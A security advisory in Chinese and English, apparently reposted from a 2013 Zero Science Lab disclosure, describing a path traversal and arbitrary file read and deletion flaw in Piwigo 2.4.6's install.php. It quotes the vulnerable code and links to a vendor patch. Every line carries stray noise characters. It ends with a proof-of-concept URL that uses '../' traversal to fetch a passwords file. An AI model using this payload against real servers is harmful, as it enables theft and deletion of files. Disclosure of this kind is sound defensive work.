Piwigo是用PHP编写的相册脚本。
3 @$ t+ r" M& X+ a9 F
' o e" R [1 e/ RPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
/ r9 k" G1 J: a====================================================================
# v) i' Q. N& {$ c! Q$ {/install.php:
5 t, _% q! B9 S, T/ h' t. B9 T9 G-------------
4 [! Q( c, @& X* {0 H' x113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
1 ^# L/ F) {6 P114: {' s6 \+ {( b. E- L) v7 t. d
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];- n1 ?. Q8 C, V5 V, @2 o6 Y
116: header('Cache-Control: no-cache, must-revalidate');4 r6 M( r5 `: w& }
117: header('Pragma: no-cache');
! R0 d. C* R/ ]118: header('Content-Disposition: attachment; filename="database.inc.php"');' @% E; t- y, N. r. E/ N1 }8 g
119: header('Content-Transfer-Encoding: binary');
4 ~- Y, s% g6 ]# I3 i120: header('Content-Length: '.filesize($filename));
) Y! a0 ~& l f) \: v121: echo file_get_contents($filename);( q- P4 e8 R# P) M7 R
122: unlink($filename);2 }9 Y% z. f8 l5 J
123: exit();
. w1 ?' ^ [; \. ?) F124: }
5 u7 m$ a& A. r. Q M2 U====================================================================& W& X* w0 U2 P5 [
& u& U& C! y& e" H l' `Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
4 Y7 q' X9 A; I6 z8 O. L Apache 2.4.2 (Win32)1 n9 n4 u' o) k9 y9 Z8 V- N9 l
PHP 5.4.4
; |! m/ t+ r' q; x% A8 ` MySQL 5.5.25a) K! ]& V' l- }
3 ]! r8 Z: c8 `, I" x
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic% s/ @* c' P) R7 h. _. M
@zeroscience
/ ~: |0 b' T" j0 k . f8 ~& Y' T1 F. j/ j4 A
Advisory ID: ZSL-2013-51270 ^/ e4 S' w4 e4 K0 K: g) Z
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php( K; j/ f) G+ o+ P0 F5 o0 j1 X
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
1 I- G! z* a" a$ q; G9 i T: e
5 u1 r2 w0 L. U5 A15.02.2013
! S- z* L5 \( l D: u; ~
$ T6 R8 _+ N# w& ^6 O: m+ q* K--
1 `% S: r9 X* @. zhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt8 N2 g. P7 U+ H% }
, m* s& p9 Q, Z" ^8 T
|